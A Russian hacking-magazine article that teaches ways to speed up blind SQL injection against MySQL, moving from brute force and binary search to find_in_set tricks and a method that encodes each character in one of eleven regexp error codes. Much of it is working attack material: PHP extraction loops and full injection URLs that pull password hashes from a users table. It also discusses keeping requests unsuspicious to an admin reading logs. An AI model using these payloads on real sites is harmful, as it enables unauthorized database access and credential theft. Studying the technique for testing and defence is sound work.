Каждый раз, натыкаясь на слепую SQL-инъекцию, ты представляешь себе долгие
минуты ожидания получения результатов из базы. Все знают, что процесс работы
ускорить невозможно. Да неужели? Прочитав эту статью, ты заставишь свои инъекции
отрабатывать по максимуму и станешь реальным SQL-гуру.

Основной проблемой при работе с Blind SQL Injection является огромное
количество запросов, которое необходимо послать на сервер для получения символов
из БД.

А соответственно — долгое время работы скрипта и большое количество записей в
логах. Вручную получать данные из БД практически нереально, поэтому процесс
работы с такими инъекциями нужно автоматизировать. Сейчас мы рассмотрим
некоторые варианты подобной автоматизации.

 

Полный перебор

Это самый простой, самый тупой и самый медленный способ получения символов из
базы данных. Для получения обычного MD5-хеша может потребоваться отправить до
512 запросов на сервер, а для получения логина — еще больше. Именно этот метод
новички применяют в своих первых эксплойтах. Реализация указанного способа
выглядит приблизительно так:

for($i=1;$i<=32;$i++)
for($j=1;$j<=255;$j++){
$res = send(
$url,
"sql.php?id=if(ascii(substring((select+passhash+from+users+where+id=0),$i,1))=$j,(select+1+union+select+2),'1')"
);
if(!preg_match('/Subquery returns/', $res) {
echo $j;
continue;
}
}

Принцип работы прост — для каждого символа сравниваем значение его ASCII-кода
со всеми возможными значениями символов. Если выполняется некоторое условие, то
символ найден, и его можно выводить на экран. Если условие не выполняется — ищем
дальше.

Очевидно, что плюсов у этого метода нет. Совсем. За исключением того, что
накалякать код такого скрипта очень просто. Но разве это то, что нужно
настоящему хакеру? Оставим этот способ киддисам и будем двигаться дальше.

 

Бинарный (двоичный) поиск

Каждый уважающий себя программист знает о методе под названием бинарный,
или двоичный, поиск
. Этот метод используется для поиска позиции элемента в
отсортированном массиве. И именно он применяется почти во всех адекватных
скриптах, программах и эксплойтах, работающих со слепыми SQL-инъекциями.

  1. Берем диапазон всех возможных символов (для хеша MD5 — [0-9,a-f]) и
    сравниваем значение кода символа в БД с кодом символа, который мы передали в
    запросе.
  2. Если код символа в БД больше, чем код переданного символа, то на следующем
    шаге в качестве диапазона возможных символов берем диапазон от символа, с
    которым мы только что сравнивали значение в БД, до правой границы предыдущего
    диапазона и идем на шаг 1.
  3. Если код символа меньше, то берем диапазон от текущего символа до левой
    границы диапазона на предыдущем шаге и идем на шаг 1.
  4. Если символ не больше и не меньше, то мы как раз его и нашли.

А если рассматривать реализацию на языке программирования, то вот пример
функции, реализующей поиск нужного символа этим методом:

function getChar($url, $field, $pos, $lb=0, $ub=255)
{
while(true) {
$M = floor($lb + ($ub-$lb)/2);
if(cond($url, $field, '<', $pos, $M)==1) {
$ub = $M - 1;
}
else if(cond($url, $field, '>', $pos, $M)==1) {
$lb = $M + 1;
}
else
return chr($M);

if($lb > $ub)
return -1;
}
}

Рассмотрим этот способ на примере получения из базы MD5-хеша юзера. При этом
учтем следующие условия:

  1. Диапазон возможных символов: 0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f.
  2. В БД находится символ: ‘b’.

Запускаем алгоритм:

  1. Находим середину диапазона [0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f]; серединой
    является символ ‘8’.
  2. Сравниваем, – код символа ‘b’ больше или меньше, чем код символа ‘8’?
    (шлем запрос).
  3. Код больше, поэтому на следующую итерацию уже берем диапазон
    [8,9,a,b,c,d,e,f]; серединой является символ ‘с’.
  4. Сравниваем, – код символа ‘b’ больше или меньше, чем код символа ‘с’?
    (шлем запрос).
  5. Код меньше, поэтому на следующую итерацию берем диапазон [8,9,a,b,c];
    серединой является символ ‘a’.
  6. Сравниваем, – код символа ‘b’ больше, чем код символа ‘a’? (шлем запрос).
  7. Код больше, поэтому на следующую итерацию берем диапазон [a,b,c];
    серединой является символ ‘b’.
  8. Сравниваем, – код символа ‘b’ больше или меньше, чем код символа ‘b’?
    (шлем запрос).
  9. Код ни больше и не меньше, значит, символ в БД = ‘b’

Таким образом, в зависимости от конкретной реализации алгоритма, мы
отправляем до 5-6 запросов на определение символа. И это в худшем случае, так
как символ может найтись и раньше. Итого получаем примерно 160-170 запросов на
получение MD5-хеша. Уже лучше, но зачем останавливаться на достигнутом, если
можно действовать еще быстрее?

 

Использование find_in_set() и подобных функций

Функция find_in_set(str,strlist) используется для поиска подстроки
среди списка строк, разделенных символом ‘,’ и возвращает номер той строки из
списка, которая равна переданному аргументу. То есть:

mysql> SELECT FIND_IN_SET('b','a,b,c,d');
-> 2

Код символа из базы данных можно узнать при помощи запроса:

select find_in_set((substring((select password from users limit
1),1,1)),'0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f');

В результате мы получаем номер символа во множестве
‘0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f’. К примеру, для символа ‘b’, этот запрос
вернет 12.

А теперь подумаем, что же можно из этого выжать? Для того чтобы принять
результаты запроса, мы должны как-то научиться принимать числа, являющиеся
результатом. Но непосредственно при слепой SQL-инъекции мы этого сделать не
можем. А что, если мы имеем дело с инъекцией, к примеру, в скрипте отображения
новостей, и в зависимости от id, переданного скрипту, будем видеть разные
странички? Тогда боевой запрос, нужный для получения символов из MD5, будет
выглядеть вот так:

news.php?id=find_in_set(substring((select passhash from users limit
0,1),1,1),'0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f')

Тогда, в зависимости от номера символа в строке
‘0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f’, мы будем видеть новость с id, соответствующим
символу пароля.

Для удобства использования на практике нужно:

  1. Выделить ключевые слова на страницах с нужными id.
  2. Отправить запросы с find_in_set для каждого символа из БД.
  3. Выяснить, страницу с каким id мы получили и вывести на экран код символа.

То есть, для получения MD5-хеша, нам потребуется выявить 16 страниц с
уникальными id, по одной странице для каждого символа алфавита, а также
отправить 32 запроса для определения значения каждого символа. В итоге, при
использовании этого метода нам потребуется отправить всего 48 запросов на
сервер, 16 из которых никакого подозрения читающего логи админа вызвать не
могут.

Изначально этот метод предложили +toxa+ и madnet. Они же заметили, что помимо
функции find_in_set для реализации подобной атаки можно использовать функции
LOCATE(),INSTR(),ASCII(),ORD(). Причем, ASCII() и ORD() даже предпочтительнее за
счет того, что они присутствуют не только в MySQL.

Способ работает быстро, но обладает рядом недостатков. К примеру, на сайте
идентификаторы новостей могут быть распределены неравномерно, то есть скрипт
приходится затачивать под каждый сайт индивидуально. Еще одной проблемой
является то, что для большого количества символов в алфавите нужно большое
количество уникальных страниц, которые не всегда присутствуют.

В общем, мотаем на ус и двигаемся дальше.

 

Использование find_in_set() + more1row

Если хорошенько поиграться с методом, предложенным выше, можно заметить, что
все его минусы сводятся к тому, что далеко не на всех сайтах возможно получить
достаточное количество различных страниц, зависящих от одного параметра. Решим
эту проблему. Вспомним метод,
предложенный Elekt’ом
в ][ #111
, который основан на использовании ошибки "Subquery returns more
than 1 row".

Суть метода
заключается в том, чтобы заставить скрипт выводить ошибку SQL в зависимости от
результата SQL-запроса. На данный момент, чтобы спровоцировать БД на вывод
ошибки, наиболее часто используется запрос:

SELECT 1 UNION SELECT 2

– который вернет ошибку:

#1242 - Subquery returns more than 1 row

Также ZaCo нашел альтернативный вариант запроса, который провоцирует БД на
вывод ошибки в зависимости от условия:

"x" regexp concat("x{1,25", if(@@version<>5, "5}", "6}")

В том случае, если версия MySql не равна 5, этот запрос вернет ошибку:

#1139 - Got error 'invalid repetition count(s)' from regexp

Немного порывшись в исходниках MySql и погуглив, можно найти еще 9 ошибок,
которые возвращает неправильный regexp. Итого, от сервера мы можем получить 11
видов ошибок + 1 состояние, когда ошибки нет:

SELECT 1
No error

select if(1=1,(select 1 union select 2),2)
#1242 - Subquery returns more than 1 row

select 1 regexp if(1=1,"x{1,0}",2)
#1139 - Got error 'invalid repetition count(s)' from regexp

select 1 regexp if(1=1,"x{1,(",2)
#1139 - Got error 'braces not balanced' from regexp

select 1 regexp if(1=1,'[[:]]',2)
#1139 - Got error 'invalid character class' from regexp

select 1 regexp if(1=1,'[[',2)
#1139 - Got error 'brackets ([ ]) not balanced' from regexp

select 1 regexp if(1=1,'(({1}',2)
#1139 - Got error 'repetition-operator operand invalid' from regexp

select 1 regexp if(1=1,'',2)
#1139 - Got error 'empty (sub)expression' from regexp

select 1 regexp if(1=1,'(',2)
#1139 - Got error 'parentheses not balanced' from regexp

select 1 regexp if(1=1,'[2-1]',2)
#1139 - Got error 'invalid character range' from regexp

select 1 regexp if(1=1,'[[.ch.]]',2)
#1139 - Got error 'invalid collating element' from regexp

select 1 regexp if(1=1,'\\',2)
#1139 - Got error 'trailing backslash (\)' from regexp

Пока просто примем это во внимание. Теперь самое время вспомнить о функции
find_in_set. Если искомый символ есть во множестве подстрок, она вернет номер
подстроки, если нет — вернет 0. Попробуем привязать результат работы этой
функции к различным кодам ошибок и передадим вот такой запрос:

select * from users where id=-1
AND "x" regexp
concat("x{1,25",
if(
find_in_set(
substring((select passwd from users where id=1),1,1),
'a,b,c,d,e,f,1,2,3,4,5,6'
)>0,
(select 1 union select 2),
"6}"
)
)

В результате, если первый символ пароля находится во множестве
‘a,b,c,d,e,f,1,2,3,4,5,6’, то запрос вернет:

#1242 - Subquery returns more than 1 row

А если не находится, то:

#1139 - Got error 'invalid repetition count(s)' from regexp

При каждом запросе по коду ошибки мы можем узнать, к какой группе принадлежит
символ!

Напишем скрипт, использующий данный метод. Для составления оптимального
запроса нужно сгруппировать символы алфавита так, чтобы количество обращений к
серверу было минимальным. Рассмотрим задачу на примере MD5. Мы знаем, что у нас
могут присутствовать только символы из диапазона [0-9,a-f]. Также мы знаем, что
количество групп символов равно двенадцати, ведь всего наш запрос может вернуть
одиннадцать видов ошибок и одно состояние, когда ошибки нет. Для случая с MD5
оптимальной расстановкой символов по состояниям, к примеру, будет:

[01]: '0','b','c','d','e','f'
[02]: '1'
[03]: '2'
[04]: '3'
[05]: '4'
[06]: '5'
[07]: '6'
[08]: '7'
[09]: '8'
[10]: '9'
[11]: 'a'

При каждом запросе к серверу мы узнаем номер группы, в которой находится
символ, хранящийся в БД. В итоге, если символ находится в группах 02-11, – мы
узнаем значение этого символа с помощью всего одного запроса. Если нам не
повезло и символ находится в группе 01, то перед отправкой следующего запроса,
рассортируем символы из этой группы по состояниям и сразу же узнаем значение
интересующего нас символа:

[01]: '0'
[02]: 'b'
[03]: 'c'
[04]: 'd'
[05]: 'e'
[06]: 'f'

Итоговый алгоритм работы по этому методу выглядит несложно:

  1. Оптимально распределить символы алфавита по группам.
  2. Установить соответствия между номером группы и возвращаемым кодом ошибки.
  3. По возвращенному коду ошибки выяснить, в какой группе находится символ из
    БД.
  4. Если в этой группе только один символ, то выводим его на экран; если
    больше, чем один символ, то распределим символы из группы по состояниям и
    возвращаемся к шагу 2.

В соответствии с алгоритмом составляем запрос. И замечаем, что ошибки,
которые мы собираемся использовать, обладают парой особенностей.

Первая заключается в том, что запрос

"x" regexp concat("x{1,25", if(@@version<>5, "5}", "6}")

вернет нужную нам ошибку, только если мы его будем передавать на сервер
именно в таком виде. То есть, все вложенные условия нужно добавлять внутрь этого
if, а также в начале всех остальных выражений regexp нужно добавлять символ "}".
Иначе, независимо от содержания остальных подзапросов, мы будем получать лишь
ошибку: "#1139 — Got error ‘repetition-operator operand invalid’ from regexp".

Вторая особенность заключается в том, что запрос

select 1 regexp if(1=1,'',2)

возвращающий ошибку "Got error ’empty (sub)expression’ from regexp",
работает, как хочется нам только при наличии пустого подзапроса в regexp или
так: ‘a|’, когда после символа ‘|’ отсутствует что бы то ни было. Поэтому, с
учетом первой особенности, будем использовать именно этот вид подзапроса.

Теперь попробуем собрать всю известную нам информацию вместе, и для
выуживания MD5-хеша получаем итоговый запрос:

sql.php?id=1+AND+"x"+
regexp+concat("x{1,25",+(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2,3,4,5,6,7,8,9,a'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2,3,4,5,6,7,8,9'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2,3,4,5,6,7,8'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2,3,4,5,6,7'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2,3,4,5,6'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2,3,4,5'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2,3,4'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2,3'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f'),
('}'),
(select+1+union+select+2))),
'}x{1,0}')),
'}x{1,(')),
'}[[:]]')),
'}[[')),
'}(({1}')),
'}|')),
'}(')),
'}[2-1]')),
'}[[.ch.]]')),
'}\\')))
+--+1

В результате, этот запрос не вернет ошибки, если символ из базы данных
является одним из символов ‘0,c,d,e,f’, а вернет ошибку "Subquery returns more
than 1 row", если в базе данных лежит цифра 1. Также запрос вернет ошибку
‘invalid repetition count(s)’, если в базе лежит символ ‘2’. И так далее.

Итак, мы добились того, чего хотели — запрос при помощи 11 различных видов
ошибок сообщает нам, какой именно символ лежит в базе данных. Мы получаем
быстродействие, превышающее скорость работы всех остальных методов работы с
Blind SQL Injection. Для выуживания MD5-хеша нам потребуется около 42 запросов,
а это уже на порядок быстрее, чем в тех методах, которые используют сейчас. Мало
того, если найти еще 4 запроса, при которых ошибка будет возникать во время
выполнения, то на получение всего хеша нам потребуется уже 32 запроса. А это
значит – 1 запрос на 1 символ. Раньше о подобном можно было только мечтать.

Понятно, что подобные SQL-обращения крайне тяжело составлять вручную, поэтому
на диске с
журналом ты
найдешь скрипт, который умеет составлять запросы для алфавитов любой длины и при
любом количестве известных ошибок.

 

Outro

На самом деле, существуют еще возможности ускорить процесс работы со слепыми
SQL-инъекциями. Осталось только их найти. Главное, не зацикливаться на
"дедовских" методах. Относиться ко всему, что придумали хакеры предыдущих
поколений, надо, как к деталям мозаики, сложив которые воедино, можно выйти на
совершенно новый уровень развития технологий взлома.

 

WARNING

Внимание! Информация представлена исключительно с целью ознакомления! Ни
автор, ни редакция за твои действия ответственности не несут!

 

WWW


dev.mysql.com/sources/doxygen/mysql-5.1/regerror_8c-source.html
— исходники
MySQL, отвечающие за отображение ошибок regexp.
dev.mysql.com/doc
документация по MySQL (рекомендую).

ru.wikipedia.org/wiki/Двоичный_поиск
— базовые алгоритмы надо знать!

Оставить мнение

Check Also

Windows 10 против шифровальщиков. Как устроена защита в обновленной Windows 10

Этой осенью Windows 10 обновилась до версии 1709 с кодовым названием Fall Creators Update …